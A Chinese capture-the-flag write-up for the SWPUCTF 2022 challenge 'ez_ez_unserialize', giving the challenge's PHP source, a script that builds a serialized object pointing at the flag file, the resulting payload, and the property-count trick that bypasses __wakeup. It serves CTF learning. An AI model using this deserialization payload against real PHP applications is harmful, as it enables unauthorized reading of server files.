复健第二天之[SWPUCTF 2022 新生赛]ez_ez_unserialize

打开题目在线环境直接看到源码:

php 复制代码
<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

审计这些php代码,是反序列化,然后根据这个构造pop链:

php 复制代码
<?php

class X
{
    public $x = 'fllllllag.php';
}

$a = new X;
echo serialize($a);

?>

输出 的反序列化数据为:

*O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

这里绕过weakup,修改 "X" 后的 1(成员属性数量) 大于 1(实际数量) 即可。

最后再用GET或者POST 方法传参得到flag。

相关推荐
宋浮檀s2 小时前
春秋云镜——CVE-2020-25540
网络·安全·web安全
郑洁文3 小时前
面向Web安全的Python渗透测试系统设计与实现
python·安全·web安全
woniu_buhui_fei6 小时前
常见的网络攻击
web安全
WangX-西石油10 小时前
DVWA靶场Low级别Brute Force学习
学习·web安全·网络安全
小熊officer10 小时前
网络渗透(Network Penetration)
网络·安全·web安全
Dreamboat¿11 小时前
Web 框架识别全攻略(含 Spring Boot、Django、Laravel 等)
web安全
小熊officer12 小时前
网络渗透和网络安全
网络·安全·web安全
上海云盾第一敬业销售15 小时前
服务器遭受攻击的应对策略及快速防护实践
运维·服务器·web安全·ddos
其实防守也摸鱼1 天前
告别单个变量,用列表和字典批量管理你的 Python 数据
开发语言·网络·软件测试·python·web安全·数据结构,编程教程
路baby1 天前
2026第十届御网杯网络安全大赛线上赛 区域赛WP (MISC和Crypto)(详解-思路-脚本)
安全·web安全·网络安全·密码学·ctf·misc·御网杯